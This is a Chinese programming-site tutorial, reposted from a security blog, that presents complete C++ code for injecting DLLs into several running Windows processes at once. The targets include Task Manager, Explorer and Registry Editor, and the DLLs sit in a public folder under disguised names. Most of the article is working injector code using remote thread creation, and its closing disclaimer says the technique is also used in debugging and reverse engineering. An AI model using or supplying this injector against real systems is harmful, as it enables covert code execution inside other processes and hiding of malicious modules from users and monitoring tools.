服务器之家:专注于VPS、云服务器配置技术及软件下载分享
分类导航

PHP教程|ASP.NET教程|Java教程|ASP教程|编程技术|正则表达式|C/C++|IOS|C#|Swift|Android|VB|R语言|JavaScript|易语言|vb.net|

服务器之家 - 编程语言 - C/C++ - 利用C++的HashMap结构实现一个多DLL注入器

利用C++的HashMap结构实现一个多DLL注入器

2024-01-16 13:03二进制空间安全 C/C++

在C++代码中, 如果要实现将一个Dll高效的注入到多个进程中, 可以定义一个HashMap结构。

利用C++的HashMap结构实现一个多DLL注入器

1.技术实现背景

在C++代码中, 如果要实现将一个Dll高效的注入到多个进程中, 可以定义一个HashMap结构, 在该结构中, 键名用来保存多个进程的名称, 而对应的键值可以对应的保存一个或多个DLL路径, 这个HashMap结构定义如下:

unordered_map<string, vector<string>> injectionMap;

而向其填充的键和键值参考如下:

injectionMap["taskmgr.exe"] = { "C:\\Users\\Public\\mscde.dll","C:\\Users\\Public\\msc23.dll"};
 injectionMap["explorer.exe"] = { "C:\\Users\\Public\\mscde.dll" };
 injectionMap["regedit.exe"] = { "C:\\Users\\Public\\mscde.dll" };
 injectionMap["notepad.exe"] = { "C:\\Users\\Public\\mscde.dll" };

在该结构中, 每个进程可以对应注入的一个或多个Dll, 实际上键值是一个字符串数组。

这里设计一个多DLL注入器的函数如下:

int injectDlls(unordered_map <string, vector<string>> injectionMap) {
 for (auto& injectRow : injectionMap) {
  for (auto& vectorDLL : injectRow.second) {
           injectDLL(vectorDLL, getPIDbyProcName(injectRow.first));
        }
  cout << endl;
 }
 return 0;
}

该函数实现的功能如下:

  • 参数接收一个HashMap结构, 其中键保存了要注入的所有进程名称, 其值保存了要注入到进程的DLL全路径字符串。
  • 循环遍历该结构, 取出键中的进程名传给getPIDbyProcName()函数获取该进程名对应的PID; 取出键值中的DLL全路径传给injectDLL()函数的第一个参数, 将获取的PID作为injectDLL()函数的第二个参数传入。
  • 最终由injectDLL()函数完成进程DLL注入。

2.实现通过进程名获取PID

通过进程名获取PID的C++参考代码如下:

int getPIDbyProcName(const string& procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    if (Process32FirstW(hSnap, &pe32) != FALSE) {
        while (pid == 0 && Process32NextW(hSnap, &pe32) != FALSE) {
            wstring wideProcName(procName.begin(), procName.end());
            if (wcscmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
                pid = pe32.th32ProcessID;
            }
        }
    }
    CloseHandle(hSnap);
    return pid;
}

以上代码属于常规操作, 不再赘述。

3.实现DLL远程注入

实现远程DLL注入的injectDLL() 函数参考代码如下:

bool injectDLL(string dllPath, int pid) {
 char* dllPathChar = new char[dllPath.length() + 1];
 strcpy_s(dllPathChar, dllPath.length() + 1, dllPath.c_str());
 dllPathChar[dllPath.length()] = '\0';
 HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
 if (hProc == NULL) {
  cout << "OpenProcess failed" << endl;
  return false;
 }
 LPVOID LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
 if (LoadLibAddr == NULL) {
  cout << "GetProcAddress failed" << endl;
  return false;
 }
 LPVOID dereercomp = VirtualAllocEx(hProc, NULL, strlen(dllPathChar), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 if (dereercomp == NULL) {
  cout << "VirtualAllocEx failed" << endl;
  return false;
 }
 if (WriteProcessMemory(hProc, dereercomp, dllPathChar, strlen(dllPathChar), NULL) == 0) {
  cout << "WriteProcessMemory failed" << endl;
  return false;
 }
 HANDLE hThread = CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddr, dereercomp, NULL, NULL);
 if (hThread == NULL) {
  cout << "CreateRemoteThread failed" << endl;
  return false;
 }
 CloseHandle(hProc);
 CloseHandle(hThread);
 
 return true;

}

远程DLL注入函数injectDLL() 主要完成了以下工作:

  • 接收两个参数, dllPath是要注入的DLL全路径, pid是目标进程的ID。
  • 在目标进程中调用VirtualAllocEx函数分配内存,需要传入DLL全路径。
  • 调用WriteProcessMemory函数将DLL全路径写入到分配的内存中。
  • 动态获取kernel32.dll中的LoadLibraryA函数地址。
  • 在目标进程中通过CreateRemoteThread创建一个远程线程, 将入口点设置为LoadLibraryA函数, 并将参数指向目标进程中的DLL路径。
  • 关闭进程和远程线程句柄。
  • 如果注入成功返回true, 否则返回false。

4.注意事项

以上代码在布满实时监控检测的机器上已经不再适用于各种非法用途, 但DLL注入仍然在很多场景被用到, 例如: 软件调试、逆向工程、辅助工具开发等。上面的代码实现主要是为了分享对DLL注入的技术细节理解和参考。

原文地址:https://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247486680&idx=1&sn=6945fb7b084e43dd1bab98290c27ccc8

延伸 · 阅读

精彩推荐
  • C/C++C语言中if语句加大括号和不加大括号的区别介绍

    C语言中if语句加大括号和不加大括号的区别介绍

    这篇文章主要给大家介绍了关于C语言中if语句加大括号和不加大括号的区别,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学...

    一个噗噗9542021-10-13
  • C/C++C语言实现扫雷附完整代码

    C语言实现扫雷附完整代码

    本文详细讲解了C语言实现扫雷并附完整代码,文中通过示例代码介绍的非常详细。对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...

    XiaoHang12285782022-03-03
  • C/C++C++控制台实现简单人机对弈井字棋

    C++控制台实现简单人机对弈井字棋

    这篇文章主要为大家详细介绍了C++控制台实现简单人机对弈井字棋,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...

    小雪菜本菜10852022-12-02
  • C/C++C语言实现火车票管理系统

    C语言实现火车票管理系统

    这篇文章主要为大家详细介绍了C语言实现火车票管理系统,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...

    for_s9552022-10-20
  • C/C++黑客帝国数字雨效果VC6源代码分享

    黑客帝国数字雨效果VC6源代码分享

    这篇文章主要介绍了黑客帝国数字雨效果VC6源代码分享,本文直接给出实现代码,Win7下编译通过,效果很酷,需要的朋友可以参考下...

    C语言程序设计12022021-02-21
  • C/C++基于VC实现的网络监听功能程序实例

    基于VC实现的网络监听功能程序实例

    这篇文章主要介绍了基于VC实现的网络监听功能程序,需要的朋友可以参考下...

    C语言程序设计6842021-01-24
  • C/C++C语言通讯录实例分享

    C语言通讯录实例分享

    这篇文章主要为大家分享了C语言通讯录实例,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...

    StevenLoveMaggie5192021-06-20
  • C/C++C++实现LeetCode(647.回文子字符串)

    C++实现LeetCode(647.回文子字符串)

    这篇文章主要介绍了C++实现LeetCode(647.回文子字符串),本篇文章通过简要的案例,讲解了该项技术的了解与使用,以下就是详细内容,需要的朋友可以参考下...

    Grandyang6302021-11-23